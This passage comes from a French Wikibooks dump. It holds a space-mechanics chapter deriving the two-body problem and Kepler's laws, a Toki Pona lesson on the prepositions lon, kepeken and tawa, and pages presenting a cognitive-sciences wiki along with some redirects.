corps ''A'' et ''B'' sans changer la nature du problème.. Deuxièmement, le point ''O'' étant le centre de masse du système {''A'',''B''}, par définition on a les relations: <center><math>\overrightarrow{OA}=-\frac{m}{M+m}\vec{r}</math> et <math>\overrightarrow{OB}=\frac{M}{M+m}\vec{r}\qquad [Eq.2]</math></center> Dans la mesure où l'on considère ''O'' comme fixe, la connaissance du vecteur <math>\vec{r}</math> est donc suffisante pour en déduire la position des corps ''A'' et ''B'' à chaque instant. Isolons maintenant le corps ''B'' (on obtiendrait un résultat équivalent en raisonnant sur ''A''). La seule force à laquelle il est soumis est l'attraction gravitationnelle de ''A''. La seconde loi de Newton permet d'écrire dans un référentiel lié à ''O'': <center><math>\overrightarrow{F_{A\rightarrow B}}=m\frac{d^2 \overrightarrow{OB}}{dt^2}</math></center> en utilisant [Eq.2] on obtient: <center><math>-\frac{GMm}{r^3}\vec{r}=\frac{Mm}{M+m}\frac{d^2 \vec{r}}{dt^2}</math></center> Introduisons maintenant le coefficient <math>\eta</math> appelé ''masse réduite'' et le point matériel ''M'' définis par: <center><math>\eta=\frac{Mm}{M+m}</math></center> <center><math>\overrightarrow{OM}=\vec{r}</math></center> [[Image:Pb2Corps_PbEquivalent.PNG|thumbnail|200px|right|Problème monocorps équivalent (point M)]] alors: <center><math>-\frac{GMm}{r^3}\vec{r}=\eta\frac{d^2 \vec{r}}{dt^2}\qquad[Eq.3]</math></center> On peut alors interpréter cette équation comme l'équation du mouvement d'un troisième corps ponctuel M de masse <math>\eta</math> soumis à une force variable pointant toujours vers le point fixe ''O''. On est donc en présence d'un mouvement dit à [[w:fr:Mouvement à force centrale|force centrale]]. Ainsi, en partant d'un problème à deux corps on s'est donc progressivement ramené à un problème monocorps équivalent régi par une équation différentielle du second ordre. Il ne reste donc plus qu'à résoudre cette dernière pour résoudre le problème. On notera au passage que durant tout le mouvement les quatre points ''A'', ''B'', ''O'' et ''M'' deumeurent alignés. ==Résolution== ===Moment cinétique=== L'objectif ici est de déterminer les positions successives du point ''M'', autrement dit sa trajectoire dans l'espace. Il est intéressant de calculer le [[w:fr:Moment cinétque|moment cinétique]] <math>\vec{L}</math> du point ''M'' où plutôt sa variation au cours du temps: <center><math>\frac{d\vec{L}}{dt}=\frac{d}{dt}\left(\eta\vec{r}\wedge\frac{d\vec{r}}{dt}\right)=\eta\left(\frac{d\vec{r}}{dt}\wedge\frac{d\vec{r}}{dt}+\vec{r}\wedge\frac{d^{2}\vec{r}}{dt^{2}}\right)=\vec{0} \qquad[Eq.4]</math></center> La nullité de [Eq.4] s'obtient par l'utilisation de [Eq.3] qui implique la colniéarité des vecteurs <math>\vec{r}</math> et <math>\frac{d^{2}\vec{r}}{dt^{2}}</math>. On est donc en présence d'un mouvement à moment cinétique constant en direction comme en norme, autrement dit d'un mouvement plan. On peut donc écrire: <center><math>\vec{L}=\eta C\vec{z} \qquad [Eq.5]</math></center> Où ''C'' est une constante (exprimée en <math>m^{2}.s^{-1}</math>) appelée ''constante des aires'' dont on verra la signification physique dans les paragraphes suivant. Cette constante est déterminée par les conditions initiales du problème. ===Passage en coordonnées polaires=== [[image:Coordonnees_polaires_plan.png|thumbnail|right|150px|Coordonnées polaires]] Dans ce type de problème plan, les coordonnées polaires <math>(r,\theta)</math> sont mieux adaptées que les coordonnées cartésiennes. Ainsi dans le cas général d'un point ''M'' animé d'un mouvement plan quelconque, sa vitesse et son accélération s'expriment: <center><math>\overrightarrow{V(M/R)}=\dot{r}\vec{e_{r}}+r\dot{\theta}\vec{e_{\theta}}\qquad[Eq.6]</math></center> <center><math>\overrightarrow{\Gamma(M/R)}=(\ddot{r}-r\dot{\theta}^{2})\vec{e_{r}}+(2\dot{r}\dot{\theta}+r\ddot{\theta})\vec{e_{\theta}}\qquad[Eq.7]</math></center> On obtient donc une nouvelle expression pour le moment cinétique <math>\vec{L}</math>: <center><math>\vec{L}=\eta r^{2}\dot{\theta}\vec{z} \qquad [Eq.8]</math></center> ===La seconde loi de Kepler=== [[Image:Kepler2.gif|thumbnail|right|180px|Loi des aires: les trois secteurs bleus, de même aire, sont balayés dans un même laps de temps.]] En confrontant [Eq.8] et [Eq.5] on met à jour l'important résultat: <center><math>r^{2}\dot{\theta}=C=constante!\qquad[Eq.9]</math></center> [Eq.9] traduit la conservation de la quantité <math>r^{2}\dot{\theta}</math> au cours du mouvement. On peut interpréter cette quantité de manière géométrique. En effet, la surface balayée par le segment ''[OM]'' pendant l'intervalle de temps ''dt'' est donnée par <math>\frac{1}{2}r^{2}\dot{\theta}dt</math>. On peut donc définir une nouvelle quantité appelée ''vitesse aréolaire'' représentant la surface balayée pendant un intervalle de temps. [Eq.9] indique que la vitesse aréolaire reste constante au cours du mouvement: c'est le résultat auquel était parvenu [[w:fr:Johannes Kepler|Kepler]] dès 1609 sans toutefois être capable de l'expliquer. <center><math>\frac{dS}{dt}=\frac{1}{2}r^{2}\dot{\theta}=\frac{C}{2}=\frac{L}{\eta}=constante!\qquad[Eq.10]</math></center> Cette loi décrit une propriété intéressante du mouvement du point ''M'' autour de ''O''. En effet, plus ''M'' est éloigné de ''O'' plus sa vitesse de rotation diminue et vice-versa. ===Les formules de Binet=== Dans ce paragraphe on va déterminer la trajectoire du point ''M'' en coordonées polaires en utilisant les formules de [[w:fr:Jacques Philippe Marie Binet|Binet]]. Pour les obtenir on va effectuer un changement de variable dans les équations, en effet on va s'apercevoir qu'il est plus facile de raisonner sur l'inverse de ''r'' que sur ''r'' lui-même. On posera donc: <center><math>u=\frac{1}{r}</math></center> [Eq.9] va encore se révéler très utile ici car on va pouvoir en déduire directement les quatre formules: <center><math>r\dot{\theta}=\frac{C}{r}=Cu</math></center> <center><math>r\dot{\theta}^{2}=\frac{C^{2}}{r^{3}}=C^{2}u^{3}</math></center> <center><math>\dot{r}=\frac{dr}{dt}=\frac{dr}{du}\frac{du}{d\theta}\frac{d\theta}{dt}=-r^{2}\frac{du}{d\theta}\frac{C}{r^{2}} \Rightarrow\dot{r}=-C\frac{du}{d\theta}</math></center> <center><math>\ddot{r}=\frac{d\dot{r}}{dt}=\frac{d\dot{r}}{d\theta}\frac{d\theta}{dt}=-C\frac{d^{2}u}{d\theta^{2}}\frac{C}{r^{2}} \Rightarrow\ddot{r}=-C^{2}u^{2}\frac{d^{2}u}{d\theta^{2}}</math></center> En effectuant les remplacements ci-dessus dans [Eq.6] puis en prenant le carré de la norme de la vitesse on obtient la première formule de [[w:fr:Jacques Philippe Marie Binet|Binet]]: <center><math>||\overrightarrow{V(M/R)}||^{2}=C^{2}\left(\left(\frac{du}{d\theta}\right)^{2}+u^{2}\right)\qquad[Eq.11]</math></center> [Eq.3] montre que seule la composante suivant <math>\vec{e_{r}}</math> de l'accélération est non nulle (force centrale). En effectuant les remplacement dans [Eq.7] on obtient la seconde formule de [[w:fr:Jacques Philippe Marie Binet|Binet]]. <center><math>\overrightarrow{\Gamma(M/R)}=-C^{2}u^{2}\left(\frac{d^{2}u}{d\theta^{2}}+u\right)\vec{e_{r}}\qquad[Eq.12]</math></center> En substituant [Eq.12] dans [Eq.3] on obtient tous calculs faits: <center><math>\frac{d^{2}u}{d\theta^{2}}+u=\frac{G(M+m)}{C^{2}}</math></center> C'est une équation différentielle du deuxième ordre qui s'intègre sans difficulté particulière: <center><math>u=\frac{GMm}{\eta C^{2}}+\alpha \cos(\theta-\theta_{0})</math></center> En revenant à la définition de ''u'' on obtient (enfin...) l'équation polaire de la trajectoire du point M: <center><math>r=\frac{\frac{C^{2}}{G(M+m)}}{1+\frac{\alpha C^{2}}{G(M+m)}\cos(\theta-\theta_{0})}=\frac{p}{1+e\cos(\theta-\theta_{0})}\qquad[Eq.13]</math></center> Les mathématiciens auront reconnus l'équation générale d'une [[w:fr:conique|conique]] de paramètre ''p'' et d'eccentricité ''e'' dont l'axe focal fait un angle <math>\theta_{0}</math> avec l'axe <math>(O,\vec{x})</math>. Les constantes <math>\alpha</math> et <math>\theta_{0}</math> sont déterminées par les conditions initiales du problème. On en déduit que les trajectoires des corps ''A'' et ''B'' sont des coniques de même nature obtenues par des homothéties de centre ''O'' définies par [Eq.2]. ==Analyse et commentaires== Dans la partie qui précède on a pu démontrer que les trajectoires des corps ''A'', ''B'' et ''M'' dans un référentiel lié à ''O'' étaitent toutes des coniques. On va désormais s'intéresser à l'aspect énergétique du problème ainsi qu'à ses applications pratiques. ===Énergie=== Le corps ''M'' possède une énergie mécanique <math>E_{m}</math>. Cette énergie mécanique se décompose en une énergie cinétique <math>E_{c}</math>, due à son mouvement autour de ''O'', et en une énergie potentielle <math>E_{p}</math> due à la présence d'une masse en ''O'' qui l'attire vers elle continuement. L'expression mathématique de ces énergies est classique: <center><math>E_{m}=E_{c}+E_{p}\ </math></center> <center><math>E_{c}=\frac{1}{2}\eta V^{2}</math></center> <center><math>E_{p}=-\frac{GMm}{r}</math></center> On remarquera qu'à l'infini <math>E_{p}</math> tend vers 0, ce qui est physiquement cohérent car plus on s'éloigne du centre attracteur moins ses effets (la force d'attraction dérive d'<math>E_{p}</math>) sont sensibles. En utilisant [Eq.11] on peut exprimer <math>E_{m}</math> en fonction de ''u'': <center><math>E_{m}=\frac{1}{2}\eta C^{2}\left(\left(\frac{du}{d\theta}\right)^{2}+u^{2}\right)-GMmu</math></center> On peut donc remplacer ''u'' par son expression polaire ([Eq.13]). On pourra poser sans perte de généralité <math>\theta_{0}=0</math>, ce qui revient à faire pivoter le repère lié à ''O'' pour l'aligner sur l'axe focal de la conique. Tous calculs faits on obtient une expression très simple de l'énergie mécanique totale: <center><math>E_{m}=\frac{GMm}{2}(e^{2}-1)\qquad[Eq.14]</math></center> Ainsi, l'énergie mécanique du corps ''M'' est déterminée, en valeur comme en signe, par l'excentricité ''e'', dont la valeur dépend elle-même des conditions initiales du problème. On a donc trois cas de figure. ====Énergie mécanique négative, revoilà Kepler...==== Cette situation correspond au cas ''e<1''. Le fait que l'énergie mécanique soit négative signifie que le corps ''M'' est lié à son centre attracteur. autrement dit son énergie n'est pas suffisante pour se libérer du champ gravitationnel généré par ''O''. Le corps ''M'' va donc orbiter dans une région délimitée de l'espace autour de ''O''. Dans ce cas la trajectoire de ''M'' est une [[w:fr:ellipse(mathématiques)|ellipse]] dont le centre attracteur ''O'' occupe l'un des foyers. On retrouve ainsi la première loi que [[w:fr:Johannes Kepler|Kepler]] avait découverte par des observations. ====Énergie mécanique nulle==== [[Image:Parabolic_orbit.gif|thumbnail|right|180px|Orbite parabolique]] Ce cas de figure est un cas limite (''e=1''), autrement dit qui ne se produit jamais en pratique. On se contentera donc de remarquer que le corps ''M'' se libère tout juste de l'attraction de ''O'' et s'en éloigne irrémédiablement le long d'un arc de [[w:fr:parabole|parabole]]. ====Énergie mécanique positive==== [[Image:Hyperbolic_orbit.gif|thumbnail|left|180px|Orbite hyperbolique]] Ici le corps ''M'' possède une énergie suffisante pour passer à proximité du centre attracteur sans s'y faire piéger. Il subit néanmoins une déviation notable de sa trajectoire. Cette dernière est une branche d'[[w:fr:hyperbole(mathématiques)|hyperbole]]. On reparlera de cet important cas de figure lors de l'étude des frondes gravitationnelles. ===La troisième loi=== On se place ici dans le cas où les deux corps sont liés. On est en présence d'un mouvement périodique durant lequel le corps ''M'' décrit une ellipse. Si on note ''T'' la période de révolution de ''M'' autour de ''O'', il apparaît que pendant la périiode ''T'' le segment ''[OM]'' balaye l'aire totale de l'ellipse. Un rapide coup d'oeil à un formulaire de géométrie nous apprendra que l'aire d'une ellipse vaut <math>\pi ab</math> si ''a'' et ''b'' désignent respectivement le demi-grand axe et le demi-petit axe. En utilisant la seconde loi de Kepler [Eq.10] il vient: <center><math>\pi ab=\frac{dS}{dt}T=\frac{C}{2}T\qquad[Eq.15]</math></center> Une propriété intrinsèque des ellipses nous apporte une formule bien pratique nous permettant d'exploiter [Eq.15]: <center><math>p=\frac{b^{2}}{a}=\frac{C^{2}T^{2}}{4\pi^{2}a^{3}}</math></center> En revenant à la définition de ''p'' ([Eq.13]) on obtient la troisième loi de Kepler: <center><math>\frac{T^{2}}{a^{3}}=\frac{4\pi^{2}}{G(M+m)}\qquad[Eq.16]</math></center> Quelque soient les conditions initiales le rapport entre le carré de la période de révolution et le cube du demi-grand axe est une constante! Cette loi est très utilisée en pratique pour calculer la masse des étoiles doubles. ===Cas d'une masse prépondérante=== Jusqu'à présent on s'est placé dans un cadre général où les deux masses impliquées ''M'' et ''m'' pouvaient être du même ordre de grandeur. Dans la pratique, il arrive très souvent que la masse d'un des deux corps soit négligeable devant celle de l'autre. Dans cette partie on s'interessera aux conséquences de l'hypothèse supplémentaire suivante: <center><math>M>>m\ </math></center> La première conséquence est que le centre de masse du système ''O'' est quasiment confondu avec le point ''A''. Cela implique la quasi-immobilité du point ''A'' et que les corps ''M'' et ''B'' occupent quasiment la même position. La trajectoire de ''B'' se confond ainsi avec celle de ''M''. ''B'' est alors appelé le satellite et ''A'' le corps central. Pour se convaincre de la pertinence de ce cas particulier considérons le cas d'un satellite géostationnaire de 10 tonnes en orbite terrestre. [Eq.2] donne la distance qui sépare le centre de la Terre du centre de masse du système. Effectuons, pour voir, l'application numérique: <center><math>OA=\frac{m_{satellite}}{M_{Terre}+m_{satellite}}(R_{Terre}+h_{g\acute{e}ostationnaire})</math></center> <center><math>OA=\frac{1.10^{4}}{5,974.10^{24}+1.10^{4}}(6,378.10^{6}+3,578.10^{7})</math></center> <center><math>OA\approx 70.10^{-15}m</math></center> Autrement dit le centre de la Terre et le centre de masse du système Terre-satellite sont séparés par bien moins qu'un atome d'hydrogène! Pour tous les satellites terrestres, cette approximation est donc tout à fait justifiée. Considérons maintenant le mouvement de [[w:fr:Jupiter|Jupiter]] autour du Soleil. Le même type de calcul que précedemment nous conduit à une distance de <math>7,386.10^{5}km</math> à comparer au rayon solaire qui vaut <math>6,96.10^{5}km</math>. Autrement dit le centre de masse est situé juste à l'extérieur de la couronne solaire. Toutefois, cette distance ne représente qu'un millième de celle qui sépare Jupiter du Soleil. Pour être complet, notons que la troisième loi de Kepler se simplifie en devenant indépendante de la masse du satellite: <center><math>\frac{T^{2}}{a^{3}}=\frac{4\pi^{2}}{GM}</math></center> ===Vitesses cosmiques=== Les formules obtenues dans les parties précédentes permettent de définir des vitesses particulières appelées vitesses de libération ou vitesses cosmiques. ====Première vitesse cosmique==== Également appelée ''vitesse de satelisation minimale'', elle correspond à la vitesse (en fait à l'énergie cinétique) minimale qu'on doit fournir à un corps pour se maintenir en orbite à une altitude donnée autour d'un autre. Le satelitte est soumis à une accélération normale résultant de la force d'attraction du corps central: <center><math>m\Gamma=\frac{GMm}{r^{2}}</math></center> Or dans le repère de Frenet lié au satellite, l'accélération normale s'exprime: <center><math>m\Gamma=\frac{GMm}{r^{2}}</math></center> On tire de ces deux formule la première vitesse cosmique: <center><math>V_{1}=\sqrt{\frac{GM}{r}}</math></center> Effectuons le calcul pour la Terre, au niveau du sol. <center><math>V_{1,Terre}(h=0)=7\ 903 m.s^{-1}</math></center> C'est la vitesse minimale que toutes les fusées doivent atteindre pour espérer pouvoir placer en orbite les satelittes qu'elles embarquent. Évidemment, cette vitesse est d'autant plus importante que le corps central est massif et proche. ====Seconde vitesse cosmique==== Également appelée ''vitesse de libération'', elle désigne la vitesse que doit atteindre un corps pour se libérer de l'attraction gravitationnelle d'un autre corps. Une fois cette vitesse atteinte, le corps libéré va indéfiniment s'éloigner de son corps d'origine (sous réserve qu'il n'en croise pas un troisième ou qu'il percute le premier...). Pour qu'un corps se libère de l'attraction qu'exerce sur lui un autre corps il doit annuler son énergie mécanique, ou plus exactement son énergie cinétique doit compenser son énergie potentielle. <center><math>\frac{1}{2}mV^{2}-\frac{GMm}{r}=0</math></center> D'où: <center><math>V_{2}=\sqrt{\frac{2GM}{r}}</math></center> Cette vitesse dépend, elle aussi, de l'altitude à laquelle on se trouve. On remarquera que quelque soit le corps attracteur considérer, la vitesse de libération vaut <math>\sqrt{2}</math> fois la vitesse de satelisation minimale. Pour la Terre, on a donc au niveau du sol: <center><math>V_{2,Terre}(h=0)=11\ 176 m.s^{-1}</math></center> C'est l'ordre de grandeur de la vitesse qu'on du atteindre les capsules Appolo pour échapper à l'attraction terrestre puis se placer en orbite lunaire. ====Troisième vitesse cosmique==== Cette troisième vitesse n'est qu'un cas particulier de la seconde vitesse cosmique. Elle concerne un objet situé dans la banlieue terrestre et tentant de se libérer de l'attraction du Soleil. C'est la vitesse minimale nécessaire pour quitter le système solaire. ===Retour sur les hypothèses=== On a pu, dans ce qui précède, trouver une solution analytique au problème des deux corps dans un cas assez général. La question qui se pose ensuite consiste à déterminer si la solution mise à jour est en accord avec les observations des astronomes et des opérateurs de satellites. Les observations disponibles depuis bientôt plusieurs siècles permettent d'affirmer que les lois de Kepler sont valides mais au premier ordre seulement. En effet, on a très tôt constaté des écarts entre ce que prévoit la théorie et ce que l'observation fournit. Pour comprendre l'origine de ces écarts, il est intéressant de se pencher sur la validité des hypothèses sur lesquelles on a bâti le formalisme du problème. ====Problème à deux corps ?==== La première raison qu'on peut invoquer pour expliquer ces anomalies est tout simplement que le problème à deux corps... n'existe pas! En effet, on a supposé que les seules forces intervenant dans le problème étaient les forces d'attraction mutuelles. Cette hypothèse tombe à l'eau s'il existe un troisième corps dans le voisinage, même assez éloigné des deux autres, qui crée des forces d'attractions parasites sur les deux corps. Dans le cas d'un satellite en orbite terrestre, il arrive qu'on ne puissent pas négliger les effets gravitationnels de la Lune et du Soleil (qui sont à peu près du même ordre de grandeur). Si on considère le mouvement de la Terre autour du Soleil, les huit autres planètes que comptent le système solaire (en particulier Jupiter et Saturne) exercent leurs forces d'attraction sur la Terre et le Soleil et réciproquement. Ces perturbations ont pour principales conséquences la perte de régularité de la trajectoire. Les satellites ne se meuvent plus suivant des ellipses mais suivant des courbes gauches (c'est-à-dire non planes) assez complexes. Cependant ces courbes restent assez proches des ellipses théoriques pour que l'''approximation'' képlerienne soit satisfaisante sur une courte période de temps. ====Concept de point matériel==== D'un point de vue gravitationnel, on peut remplacer un solide par un point matériel sous certaines conditions. Si le corps initial est de géométrie sphérique et que sa densité locale est uniforme sur tout le volume alors l'équivalence mathématique est exacte. On peut également démontrer que cela fonctionne encore si la densité locale de la sphère est uniquement fonction du rayon. Malheureusement, aucun corps naturel ne correspond à cette description. Si on prend l'exemple de la Terre, la présence de montagnes et de vallées mine la représentativité de la sphère. Mais c'est surtout la non-uniformité de la densité terrestre qui complique le problème. Par conséquent, la première loi de Newton en <math>\frac{1}{r^{2}}</math> est insuffisante pour rendre compte de la complexité du champ gravitationnel terrestre réel. ====Mécanique Newtonienne==== Dans une moindre mesure, on peut remettre en cause l'utilisation même des loi de Newton puisqu'on sait depuis Einstein... qu'elles sont fausses! Plus exactement, elles sont suffisantes dans un certain nombre de cas mais pas dans tous. Ainsi, ce n'est que grâce à la relativité générale qu'on put comprendre les anomalies de l'orbite de Mercure. ====Masses constantes==== On a également supposé que les masses ''M'' et ''m'' ne variaient pas au cours du temps. Dans certains cas de figure, cette hypothèse peut être remise en cause. C'est le cas d'étoiles doubles, où l'une d'entre elle aspire la matière de l'autre. L'étude du mouvement sur de longues périodes peut alors nécessiter la prise en compte d'un débit massique dans l'équation de mouvement, ce qui complique sensiblement les choses... {| align="center" border="0" width="100%" | bgcolor="#CCCCEE" align="center" colspan="3" | Mécanique spatiale <br> '''Problème à deux corps''' |- | style="background-color:#B0D0F0" width="40%" align="left" |[[Mécanique spatiale:Chapitre 3|<< Chapitre 3 : Les lois de l'attraction]] | style="background-color:#B0D0F0" width="20%" align="center" |[[Mécanique spatiale:sommaire|Sommaire]] | style="background-color:#B0D0F0" width="40%" align="right" |[[Mécanique spatiale : Chapitre 5 |Chapitre 5 : Repères, systèmes de coordonnées >>]] |} Toki pona - Leçon 5: Prépositions lon, kepeken et tawa 8171 41066 2006-04-27T20:17:52Z Tensai 654 {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} ==Vocabulaire== *'''kama''' - venir, advenir, être la cause de *'''kepeken''' - utiliser; en utilisant *'''kiwen''' - pierre, caillou; dur comme pierre *'''kon''' - air, atmosphère, esprit, vent *'''lon''' - être situé sur/en/dans, exister; dans, sur, en *'''pana''' - donner, envoyer, émettre, libérer *'''poki''' - récipient, bol, verre, coupe, boîte, etc. *'''toki''' - langage; parler, dire *'''tawa''' - aller vers, déplacer, se déplacer; vers, pour ==''lon''== ===Géneralités=== ''lon'' peut être utilisé à la fois comme verbe et comme préposition. Considérons ces exemples : * '''mi lon tomo.''' - Je suis dans la maison. * '''mi moku lon tomo.''' - Je mange dans la maison. Dans le premier exemple, lon est le verbe de la phrase. Dans le second, c'est une préposition. Voici d'autres exemples : * '''suno li lon sewi.''' - Le soleil est dans le ciel. * '''mi telo e mi lon tomo telo.''' - Je me lave dans la salle d'eau. (en effet en leçon 5 nous avons vu que tomo telo signifie salle de bains, etc.) * '''kili li lon poki.''' - Le fruit est dans la corbeille. * '''pipi ni li lon ma telo.''' - Cet insecte est dans la boue. * '''jan utala li utala lon ma tomo.''' - les soldats se battent en ville. ===Usage de lon avec wile=== Puisque lon peut être utilisé comme préposition ou comme verbe, le sens de la phrase peut être difficile à saisir quand on utilise une phrase avec wile. Par exemple : * '''mi wile lon tomo.''' - Je veux être à la maison. ou Je veux (quelque chose) dans une maison. Cette phrase a deux sens possibles. Pour éviter l'ambiguïté il vaut mieux couper la phrase en deux : * '''mi wile e ni: mi lon tomo.''' - Je veux ceci : je suis à la maison. Le toki pona utilise souvent cette construction en e ni: pour traduire les propositions subordonnées comme dans « Tu m'a dit que tu mangeais ». Cette phrase se traduit ainsi littéralement : * '''sina toki e ni tawa mi: sina moku.''' - Tu m'a dit ceci : tu manges Cet usage de « ni: » est très courant en toki pona, et nous l'emploierons encore dans la suite des leçons. ===lon comme verbe transitif=== Ce paragraphe traite d'un sens particulier du mot lon. Pour comprendre le reste du paragraphe voyons le sens de deux mots (qui serons traités plus tard) : ''lape'' signifie « repos » et ''pini' signifie « terminer ». Normalement pour réveiller quelqu'un on dit ceci : * '''mi pini e lape sina.''' - J'ai mis fin à ton sommeil = je t'ai réveillé. Mais on peut également dire cela avec lon : * '''mi lon e sina.''' - Je t'ai rendu présent (et éveillé). Dans cette expression toute faite, l'image est que le dormeur n'est pas réellement présent avant d'être réveillé. En revanche on ne pourrait pas dire « sina lon e mi » (« tu m'a réveillé ») parce que la personne qui dort est déjà présente dans sa propre existence en dormant. En fait cette discussion sur ce sens particulier de lon a surtout l'intérêt de fournir à nouveau un exemple de cette façon générale qu'a le toki pona de permettre de fabriquer automatiquement des verbes transitifs à partir de verbe intransitifs ou d'adjectifs : * '''mi''' (adjectif ou verbe intransitif) '''e sina.''' - Je t'ai rendu (adjectif) * '''mi nasa e sina.''' - Je te rends fou, je te fais tourner en bourrique. ==kepeken== D'une part, kepeken est un verbe transitif comme les autres : * '''mi kepeken e ilo.''' - J'utilise des outils. * '''sina wile kepeken e ilo.''' - Tu devrais utiliser des outils. * '''mi kepeken e poki ni.''' - J'utilise ce panier. Mais kepeken est également une préposition : * '''mi moku kepeken ilo moku.''' - Je mange en utilisant une fourchette/cuiller/etc. * '''mi lukin kepeken ilo suno.''' - Je regarde en utilisant une lampe. (ilo suno = outil de lumière, lampe torche) Note : je fais bien attention à traduire « kepeken ilo ni » par « en utilisant cet outil » et non « avec cet outil », bien que cette dernière formulation soit plus naturelle en français. La raison en est que le mot « avec » signifie également « en compagnie de » et que ce dernier sens ne se traduit pas du tout par kepeken comme on verra à la leçon suivante. ==tawa== ===Usage de tawa comme verbe intransitif=== Utilisé comme verbe intransitif, tawa s'emploie de façon similaire à lon. * '''mi tawa tomo mi.''' - Je vais dans ma chambre. * '''ona mute li tawa utala.''' - Ils vont à la guerre. * '''ona li wile tawa telo suli.''' - Elle veut aller à la mer. * '''sina tawa sewi kiwen.''' - Tu montes en haut du rocher. Notez que ''sewi'' est un nom dans cette dernière phrase. Une traduction plus littérale serait : « Tu (sina) te-déplaces-vers (tawa) le-haut (sewi) du-rocher (kiwen) ». tawa comme préposition ===''tawa'' en tant que préposition=== ''tawa'' en tant que préposition indique en général la destination. * '''mi toki tawa sina.''' - Je parle à-destination-de toi = Je te parle. * '''ona li lawa e jan tawa ma pona.''' - Il a mené le peuple à la bonne terre. * '''ona li kama tawa ma mi.''' - Il arrive dans mon pays. * '''mi pana e kili tawa sina.''' - J'émets un fruit pour toi = Je te donne un fruit. * '''mi pona e tomo tawa jan pakala.''' - J'améliore la maison pour l'infirme. ''tawa'' est également utilisé pour dire que l'on aime ou que l'on n'aime pas quelque chose. On utilise pour cela une tournure bien particulière : * ''''ni li pona tawa mi.''' - Cela est bon pour moi = J'aime ça. * '''ni li ike tawa mi.''' - C'est mauvais pour moi = Je n'aime pas ça. * '''kili li pona tawa mi.''' - J'aime les fruits. * '''toki li pona tawa mi.''' - J'aime parler / J'aime les langues. * '''tomo li ike tawa mi.''' - Je n'aime pas les maisons. * '''telo suli li ike tawa mi.''' - Je n'aime pas la mer. Souvenez vous que ''e'' peut être utilisé uniquement après le verbe de la phrase; il n'y a pas de propositions subordonnées en toki pona. Par exemple on ne peut pas traduire « j'aime regarder le paysage » par quelque chose comme « *lukin e ma li pona tawa mi ». Il faut couper la phrase en deux : * '''mi lukin e ma. ni li pona tawa mi.''' - Je regarde le paysage; j'aime ça. Bien sûr on peut aussi dire sensiblement la même chose avec les techniques de la leçon 5 : * '''ma li pona lukin.''' - La région est belle. ===tawa comme adjectif=== Dans certains noms composés, tawa est utilisé comme adjectif signifiant « mobile ». * '''tomo tawa''' - maison mobile = véhicule, voiture * '''tomo tawa telo''' - bateau * '''tomo tawa kon''' - avion, hélicoptère ===Ambiguité de tawa=== A ce stade j'aimerais que vous examiniez la phrase suivante pour essayer de trouver ses différentes significations : # '''mi pana e tomo tawa sina.''' . . . . . . . . . . . . Si tawa est un adjectif, alors la phrase veut dire « j'ai donné ta voiture. » Mais si c'est une préposition, alors ça change tout puisqu'alors ça veut dire « je t'ai donné la maison. » Comme souvent, il est difficile de distinguer. tawa comme verbe transitif ===''tawa'' en tant que verbe intransitif=== tawa a encore un autre usage, comme verbe transitif : * '''mi tawa e kiwen.''' - Je déplace le caillou. * '''ona li tawa e len mi.''' - Elle a déplacé mes vêtements. ==kama== Nous avons rencontré ce mot, mais il est très courant et possède des particularités que nous allons voir maintenant. D'abord il est utilisé avec tawa : * '''ona li kama tawa tomo mi.''' - Il est arrivé à ma maison / Il est venu chez moi. Comme verbe intransitif, il signifie « se produire » : * '''pakala li kama.''' - Les accidents arrivent / Un accident s'est produit. Comme verbe transitif, il signifie « provoquer un évènement » : * '''mi kama e pakala.''' - J'ai causé un accident. * '''sina kama e ni: mi wile moku.''' - Tu as causé cela : je veux manger = Tu m'a donné faim. Notez que l'on n'aurait pas pu dire « *sina kama e mi wile moku. » Il n'y a pas de propositions subordonnées en toki pona. Enfin, kama peut être utilisé avec des verbes pour indiquer une notion de changement d'état. L'exemple typique est avec jo. Le verbe composé kama jo signifie « prendre, obtenir » : * '''mi kama jo e telo.''' - J'en viens à posséder l'eau = Je prends/obtiens l'eau. * '''ona li kama lukin e pipi.''' - Il aperçoit l'insecte. Nous verrons plus tard d'autres exemples de verbes composés avec kama. SC/Présentation 8172 41075 2006-04-27T20:40:27Z Arnaud Blanchard 1367 [[Présentation]] déplacé vers [[SC/Présentation]]: Pour lié le titre au livre des sciences cognitives SC = Contenu = == Vulgarisation == Ce wiki à pour but d'aider à la vulgarisation en permettant de trouver facilement des références sur divers domaines des Sciences-Cognitives. Mais ça peut être utiliser pour les chercheur cherchant des références général sur des domaines qu'ils connaissent mals. == Annuaire des Sciences Cognitives == Il peut être vu comme un annuaire très détaillé et ne n'hésiter pas à mettre des liens intéressant que vous trouver au fils de vos recherche. Si vous n'avez pas le temps de les commenter, vous pouvez les mettre, dans l'ordre alphabétique, dans une section "liens en vrac" composée de liens parlant du sujet mais pas forcément vérifiés. == Actualités et culture == Ce wiki a aussi pour but de pouvoir faire le lien avec des faits d'actualités ou culturels notament grâce à des commentaires et réflexions sur des romans ou livres de science fiction liés à l'évolution, l'intelligence, la robotique, la société ... == Questions-réponses == La partie question-réponse permet de poser des questions et de donner des éléments des éléments ou références pour répondre à des questions déjà posées. = Organisation = == Structure == Pour éviter le problème de définir des classifications entre notions toutes très liées par thèmes (émotion, motivation, action, perception) ou par disciplines (neurosciences, psychologie, philosophie, informatique ...) ce qui fausserait l'approche multidisciplinaire des sciences cognitives, l'organisation dépendra de du genre de question que l'on se pose (lié à l'évolution, à des pathologies, à des problèmes de sociétés). == Définition des notions == Dans chaque partie, le classement des sections (notions) est alphabétique. L'idée est d'avoir de nombreuses petites sections non ordonnées (si ce n'est par ordre alphabétique) ce qui facilite l'ajout d'une section car on a pas trop à réfléchir d'où la mettre. Chaque section renvoie à une page plus détaillé de la notion, mais quelques lignes de présentation doivenet être sur la page principale. L'idée est d'être précis sur ce que l'on va trouver dans chaque page et surtout d'éviter une hiérarchisation trop profonde (Chaque notion doit être sur la page principale). == Discussion sur la strucutre == Bien sure, une structuration est toujours arbitraire et il faut finir par faire un choix dont on pourra discuter de la pertinance dans la page de [Discuter:Sciences_Cognitives discussion]. Sciences Cognitives 8173 45667 2006-06-24T21:57:13Z Guillaumito 46 correction double redirection #REDIRECT [[Sciences cognitives]] Présentation 8175 41076 2006-04-27T20:40:27Z Arnaud Blanchard 1367 [[Présentation]] déplacé vers [[SC/Présentation]]: Pour lié le titre au livre des sciences cognitives SC #REDIRECT [[SC/Présentation]] SC/présentation 8176 41122 2006-04-28T12:48:59Z Arnaud Blanchard 1367 = Contenu = == aide à la vulgarisation == Ce wiki à pour but d'aider à la 